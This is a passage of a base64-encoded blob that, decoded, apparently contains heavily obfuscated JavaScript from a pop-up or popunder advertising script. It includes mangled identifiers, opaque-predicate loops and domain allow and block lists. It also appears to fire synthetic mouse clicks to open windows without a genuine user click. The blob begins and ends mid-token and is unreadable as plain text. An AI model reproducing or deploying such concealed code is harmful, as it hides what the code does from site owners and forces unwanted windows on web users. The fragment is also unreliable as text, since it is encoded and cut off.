1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzU